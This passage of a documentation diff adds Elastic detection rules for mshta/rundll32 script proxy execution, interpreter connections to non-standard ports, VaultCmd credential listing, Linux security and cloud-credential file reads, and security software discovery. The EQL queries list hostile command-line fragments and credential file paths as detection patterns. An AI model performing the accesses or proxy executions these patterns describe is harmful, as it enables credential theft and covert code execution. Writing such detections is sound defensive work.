`user.id`, and `host.id`. + - Implication: escalate when the parent is Office, a browser, archive utility, script host, user-writable executable, or a chain outside the rule's excluded parents; lower concern when the same parent, user cohort, and host cohort repeatedly launch the same recognized HTA workflow. + +- What referenced HTA, scriptlet, URL, or path can be recovered? + - Focus: `process.command_line`, `process.args`, and `process.working_directory`: literal HTA/HTM path, scriptlet URL, remote locator, archive/temp marker, or relative path; recover same-process file and network/DNS events when artifact or remote locator evidence exists. !{investigate{"description":"","label":"File events for the same proxy instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network and DNS events for the same proxy instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the locator points to Downloads, Temp, archive extraction, external URLs, scriptlet retrieval, alternate data stream-like syntax, or a single-user path; lower concern only for the same stable internal path from the same recognized workflow. Missing file, network, or DNS telemetry is unresolved, not benign. + +- Did the proxy spawn follow-on code or payload execution? + - Focus: child starts on `host.id` where `process.parent.entity_id` equals alert `process.entity_id`; inspect child `process.executable`, `process.command_line`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Child process events for the same proxy instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, use `host.id` + `process.pid` + the tight alert window as a weaker fallback; treat PID reuse as unresolved ambiguity. + - Implication: escalate when the proxy spawns shells, PowerShell, script hosts, "regsvr32.exe", another "rundll32.exe", unsigned payloads, or tooling unrelated to the parent workflow; lower concern when child activity stays within the same recognized signed application flow. + +- If evidence remains suspicious or incomplete, is it isolated? + - Focus: `user.id`, `host.id`, stable `process.command_line` fragments, child `process.executable`, and child `process.command_line` recovered above. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user, host, command fragment, or child process repeats across alerts or other hosts; keep scope local only when isolated and aligned with one recognized workflow. + +- Escalate on proxy script execution, masquerade, suspicious lineage, external/temporary sourcing, follow-on payloads, or recurrence; close only when command intent, binary identity, lineage, locator, child behavior, and scope align with one recognized internal HTA/HTM workflow; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Legacy internal HTA applications or support tools may use "mshta.exe" when identity, intent, and context align: canonical Microsoft `process.executable`, stable `process.parent.executable`, repeated `process.command_line` for one internal HTA/HTM path, consistent `user.id`/`host.id` cohort, and no child branching into shells or script hosts. If inventory, owner, or change records exist, require alignment with this telemetry; otherwise require recurrence of the same stable process pattern across prior alerts from this rule for the same cohort. +- Vendor installers or deployment tools can trigger archive/temp HTA patterns when parent executable, signer context, command line, and bounded child chain match the same recognized package workflow. Do not close on parent name alone; contradictory locator, child process, user/host scope, or signer evidence stays suspicious. Exceptions should use the minimum confirmed pattern, such as `process.parent.executable` + stable `process.command_line` fragment + `host.id` or `user.id`, not `process.name`. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and record the parent workflow, `process.command_line`, extracted locator/path, `user.id`, `host.id`, and recurrence or business records that confirmed the recognized application path. Build exceptions only from the minimum stable workflow pattern, not from "mshta.exe" or "rundll32.exe" alone. +- If suspicious but unconfirmed: + - Preserve the alert event export, process tree, `process.entity_id`, `process.pid`, `process.command_line`, `process.args`, parent lineage, user/host context, recovered child process events, and literal URLs or paths extracted from the command line before cleanup. + - Apply reversible containment tied to the findings, such as temporary destination restrictions for remote locators, child-process blocking, or heightened monitoring on the affected `host.id` and `user.id`; use host isolation only when child-process or staging evidence indicates active payload execution and host criticality permits it. +- If confirmed malicious: + - Isolate the host or contain the affected identity after preserving the process and child-process evidence that established malicious execution. Terminate the proxy and spawned payload processes only after recording their identifiers and command lines. + - Block confirmed malicious command-line locators, child binaries, domains, and addresses identified during triage, then review other hosts and users for the same command fragment or child-process pattern before eradication. + - Remove the malicious HTA, scriptlet, archive-extracted payload, or staged child artifacts identified during investigation; remediate the parent document, browser, archive, or script delivery path; investigate credential exposure if follow-on behavior suggests collection or lateral movement. +- Post-incident hardening: + - Restrict or monitor "mshta.exe" and unusual "rundll32.exe" script-execution paths where the business does not require them. + - Retain process telemetry for these binaries and record any missing artifact, library, or destination visibility that limited the case so future triage can account for the gap. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("rundll32.exe", "mshta.exe") and + ( + (process.command_line : + ( + "*script*eval(*", + "*script*GetObject*", + "*.regread(*", + "*WScript.Shell*", + "*.run(*", + "*).Exec()*", + "*mshta*http*", + "*mshtml*RunHTMLApplication*", + "*mshtml*,#135*", + "*StrReverse*", + "*.RegWrite*", + /* Issue #379 */ + "*window.close(*", + "* Chr(*" + ) + and not ?process.parent.executable : + ("?:\\Program Files (x86)\\Citrix\\System32\\wfshell.exe", + "?:\\Program Files (x86)\\Microsoft Office\\Office*\\MSACCESS.EXE", + "?:\\Program Files\\Quokka.Works GTInstaller\\GTInstaller.exe") + ) or + + (process.name : "mshta.exe" and + not process.command_line : ("*.hta*", "*.htm*", "-Embedding") and ?process.args_count >=2) or + + /* Execution of HTA file downloaded from the internet */ + (process.name : "mshta.exe" and process.command_line : "*\\Users\\*\\Downloads\\*.hta*") or + + /* Execution of HTA file from archive */ + (process.name : "mshta.exe" and + process.args : ("?:\\Users\\*\\Temp\\7z*", "?:\\Users\\*\\Temp\\Rar$*", "?:\\Users\\*\\Temp\\Temp?_*", "?:\\Users\\*\\Temp\\BNZ.*")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-script-interpreter-connection-to-non-standard-port.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-script-interpreter-connection-to-non-standard-port.asciidoc new file mode 100644 index 0000000000..6af2c02144 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-script-interpreter-connection-to-non-standard-port.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-script-interpreter-connection-to-non-standard-port]] +=== Script Interpreter Connection to Non-Standard Port + +Detects the execution of a script interpreter followed by an outbound network connection to a raw IP address on a non-standard port. Many initial access scripts and malware implants connect directly to C2 or payload servers using non-standard ports to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/blackorbird/APT_REPORT/blob/master/lazarus/2024-10-14%20Lazarus%20InvisibleFerret.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Script Interpreter Connection to Non-Standard Port* + + +This rule detects a macOS script interpreter launch (Python, Node, or Ruby) quickly followed by an outbound connection to a raw IP address over a non-standard port. It matters because implants and initial access scripts often bypass domain-based controls and blend into developer tooling while using unusual ports for C2. A common pattern is a one-liner Python or Node stager that beacons directly to an external IP on a high-but-not-ephemeral port (e.g., 4444/8081) to fetch or execute a second stage. + + +*Possible investigation steps* + + +- Review the interpreter’s full command line, parent/ancestry, execution path, and working directory to determine whether this was an interactive developer action, a scheduled task, or a hidden launcher. +- Identify the script/module being executed (including any temp paths or inline code), collect it for analysis, and check for obfuscation, encoded payloads, or remote-fetch logic. +- Pivot on the destination IP and port to assess reputation, hosting/ASN, geolocation, and whether the host has contacted the same endpoint before or other endpoints on the same unusual port. +- Correlate around the event time for follow-on activity such as file downloads, new processes, credential access attempts, persistence creation (LaunchAgents/LaunchDaemons), or security tool tampering. +- Validate the initiating user context and host posture (new user/login, recent software installs, unsigned binaries, quarantine attributes, or MDM exceptions) to decide on containment and scoping to peer endpoints. + + +*False positive analysis* + + +- A developer runs a short Python/Node/Ruby script with a single argument to test a service by connecting directly to a public IP on an application-specific port (e.g., staging APIs, custom web services, or test listeners), resulting in a raw-IP outbound connection outside common ports. +- An administrative or diagnostic script (e.g., a quick health check or connectivity probe) executed via an interpreter uses an IP literal for reliability and targets a non-standard port for internal tooling exposed to the internet, producing the same interpreter-to-raw-IP network pattern without malicious intent. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network (or block only the observed destination IP:port at the firewall) and terminate the Python/Node/Ruby process that initiated the outbound raw-IP connection. +- Acquire volatile and on-disk artifacts including the interpreter command line, referenced script file, current working directory contents, recent downloads, and any temporary directories used at execution time, then submit the script and any fetched payloads for malware analysis. +- Hunt for persistence and re-infection by checking for new or modified LaunchAgents/LaunchDaemons, cron entries, login items, and recently added executable files, and remove/rollback any items tied to the interpreter or the suspicious IP:port. +- Reset potentially impacted credentials and revoke active tokens for the initiating user if the script accessed keychain material, SSH keys, browser sessions, or cloud CLIs near the event time. +- Restore the endpoint from a known-good snapshot or reimage if the script/payload cannot be confidently eradicated, then validate recovery by confirming no further connections to the same IP:port and no recurrence of the interpreter one-liner. +- Escalate to IR leadership and initiate broader scoping if multiple hosts contact the same external IP:port, the destination is confirmed malicious, or persistence/credential theft is detected, and harden by restricting script interpreter execution via MDM, enforcing full disk access controls, and adding egress allow-listing for non-standard ports. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + (process.name like~ "python*" or process.name in ("node", "ruby")) and + process.args_count == 2] + [network where host.os.type == "macos" and event.type == "start" and + (process.name like~ "python*" or process.name in ("node", "ruby")) and + destination.domain == null and + not destination.port in (443, 80, 53, 22, 25, 587, 465, 8080, 8089, 8200, 9200) and + destination.port < 49152 and + not cidrmatch(destination.ip, "240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", "198.19.0.0/16", + "192.18.0.0/15", "192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", + "172.16.0.0/12", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-searching-for-saved-credentials-via-vaultcmd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-searching-for-saved-credentials-via-vaultcmd.asciidoc new file mode 100644 index 0000000000..e52063441e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-searching-for-saved-credentials-via-vaultcmd.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-searching-for-saved-credentials-via-vaultcmd]] +=== Searching for Saved Credentials via VaultCmd + +Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 +* https://web.archive.org/web/20201004080456/https://rastamouse.me/blog/rdp-jump-boxes/ +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Searching for Saved Credentials via VaultCmd* + + +Windows Credential Manager stores credentials for websites, applications, and networks. Adversaries exploit this by using VaultCmd to list or extract these credentials, aiding in lateral movement. The detection rule identifies such abuse by monitoring the execution of VaultCmd with specific arguments, flagging potential credential access attempts. This helps in early detection of unauthorized credential access activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of vaultcmd.exe with the /list* argument, as this indicates an attempt to list saved credentials. +- Check the user account associated with the process execution to determine if the activity aligns with expected behavior for that user or if it appears suspicious. +- Investigate the parent process of vaultcmd.exe to understand how it was initiated and whether it was triggered by a legitimate application or script. +- Examine recent login activity and network connections from the host to identify any signs of lateral movement or unauthorized access attempts. +- Correlate this event with other security alerts or logs from the same host or user to identify potential patterns of malicious behavior. +- Review endpoint security logs from tools like Microsoft Defender XDR or Crowdstrike for additional context or corroborating evidence of credential access attempts. + + +*False positive analysis* + + +- Routine administrative tasks using VaultCmd for legitimate credential management can trigger alerts. To manage this, create exceptions for known administrative accounts or scheduled tasks that regularly use VaultCmd with the /list argument. +- Security software or system management tools that perform regular audits of stored credentials might also cause false positives. Identify these tools and exclude their processes from triggering the rule. +- Automated scripts or backup processes that access Credential Manager for legitimate purposes may be flagged. Review these scripts and whitelist them if they are verified as non-threatening. +- User-initiated credential management activities, such as listing credentials for personal use, can be mistaken for malicious behavior. Educate users on the implications of using VaultCmd and consider excluding specific user accounts if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement and further credential access. +- Terminate any suspicious processes associated with VaultCmd.exe to halt unauthorized credential dumping activities. +- Conduct a thorough review of the affected system's event logs and process execution history to identify any additional malicious activities or compromised accounts. +- Reset passwords for any accounts that may have been exposed or accessed through the Credential Manager to mitigate unauthorized access. +- Implement enhanced monitoring on the affected system and similar endpoints for any further attempts to use VaultCmd.exe or other credential dumping tools. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the scope of the breach. +- Review and update endpoint protection configurations to ensure that similar threats are detected and blocked in the future, leveraging threat intelligence and MITRE ATT&CK framework insights. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name:"vaultcmd.exe" or process.name:"vaultcmd.exe") and + process.args:"/list*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Windows Credential Manager +** ID: T1555.004 +** Reference URL: https://attack.mitre.org/techniques/T1555/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-security-file-access-via-common-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-security-file-access-via-common-utilities.asciidoc new file mode 100644 index 0000000000..d027809635 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-security-file-access-via-common-utilities.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-security-file-access-via-common-utilities]] +=== Security File Access via Common Utilities + +This rule detects sensitive security file access via common utilities on Linux systems. Adversaries may attempt to read from sensitive files using common utilities to gather information about the system and its security configuration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Security File Access via Common Utilities* + + +In Linux environments, common utilities like `cat`, `grep`, and `less` are essential for file manipulation and viewing. Adversaries exploit these tools to access sensitive security files, aiming to gather system and security configuration data. The detection rule identifies suspicious use of these utilities by monitoring process execution patterns and arguments, flagging attempts to access critical security files, thus helping to thwart potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific utility used (e.g., cat, grep, less) and the exact file path accessed, as indicated by the process.name and process.args fields. +- Check the user account associated with the process execution to determine if the access was performed by a legitimate user or a potentially compromised account. +- Investigate the timing and frequency of the access attempt to assess whether it aligns with normal user behavior or indicates suspicious activity. +- Correlate the alert with other security events or logs from the same host to identify any preceding or subsequent suspicious activities, such as unauthorized logins or privilege escalation attempts. +- Examine the host's recent changes or updates to security configurations or user permissions that might explain the access attempt. +- If possible, contact the user or system owner to verify whether the access was intentional and authorized, providing additional context for the investigation. + + +*False positive analysis* + + +- System administrators or automated scripts may frequently access security files for legitimate maintenance or configuration purposes. To handle this, create exceptions for known administrative accounts or specific scripts that regularly perform these actions. +- Security monitoring tools or compliance checks might trigger the rule when scanning security files. Identify these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Backup processes that involve copying or reading security files can be mistaken for suspicious activity. Exclude backup software processes or scheduled tasks that are known to perform these operations. +- Developers or DevOps personnel accessing configuration files for application deployment or troubleshooting might trigger the rule. Establish a list of trusted users or roles and exclude their access patterns from detection. +- Regular system updates or package management operations may involve accessing security-related files. Recognize these update processes and exclude them to avoid false positives during routine maintenance. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule to halt potential reconnaissance activities. +- Conduct a thorough review of the accessed files to determine if any sensitive information was exposed or altered. +- Change credentials and access tokens for any compromised accounts, especially those related to AWS, GCP, or Azure, to prevent unauthorized access. +- Implement stricter access controls and permissions on sensitive security files to limit exposure to only necessary users and processes. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on the broader network. +- Enhance monitoring and logging for similar activities to improve detection and response times for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("cat", "less", "more", "strings", "find", "xargs") and +process.parent.executable != null and +process.args like ( + "/etc/security/*", "/etc/pam.d/*", "/etc/login.defs", "/lib/security/*", "/lib64/security/*", + "/usr/lib/security/*", "/usr/lib64/security/*", "/usr/lib/x86_64-linux-gnu/security/*", + "/home/*/.aws/credentials", "/home/*/.aws/config", "/home/*/.config/gcloud/*credentials.json", + "/home/*/.config/gcloud/configurations/config_default", "/home/*/.azure/accessTokens.json", + "/home/*/.azure/azureProfile.json" +) and not ( + process.parent.name in ("wazuh-modulesd", "lynis") or + process.command_line in ("cat /etc/login.defs" , "cat /home/asterisk/.aws/credentials") or + ?process.parent.command_line in ( + "/bin/sh /usr/sbin/lynis audit system --cronjob", + "/usr/bin/find -L /etc/security/limits.conf /etc/security/limits.d -type f -exec /usr/bin/cat {} ;", + "/usr/bin/find /etc/security/limits.conf /etc/security/limits.d -type f -exec /usr/bin/cat {} ;" + ) or + ?process.parent.args in ("/opt/imperva/ragent/bin/get_sys_resources.sh", "/usr/sbin/lynis", "./terra_linux.sh") or + process.args == "/usr/bin/coreutils" or + (process.parent.name == "pwsh" and process.parent.command_line like "*Evaluate-STIG*") or + ?process.parent.executable like ( + "/usr/sap/audit_scripts/auto_audit_gral.sh", "/opt/saltstack/salt/bin/python3*", "/opt/puppetlabs/puppet/bin/ruby" + ) or + ?process.entry_leader.executable like ( + "/usr/sbin/ScanAssistant", "/opt/Tanium/TaniumClient/TaniumClient", "/tmp/CVU_*resource/exectask", "/opt/nessus/sbin/nessus-service" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-security-software-discovery-via-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-security-software-discovery-via-grep.asciidoc new file mode 100644 index 0000000000..f1cccdc768 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-security-software-discovery-via-grep.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-security-software-discovery-via-grep]] +=== Security Software Discovery via Grep + +Identifies the use of the grep command to discover known third-party macOS and Linux security tools, such as Antivirus or Host Firewall details. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Security Software Discovery via Grep* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `grep` utility with arguments compatible to the 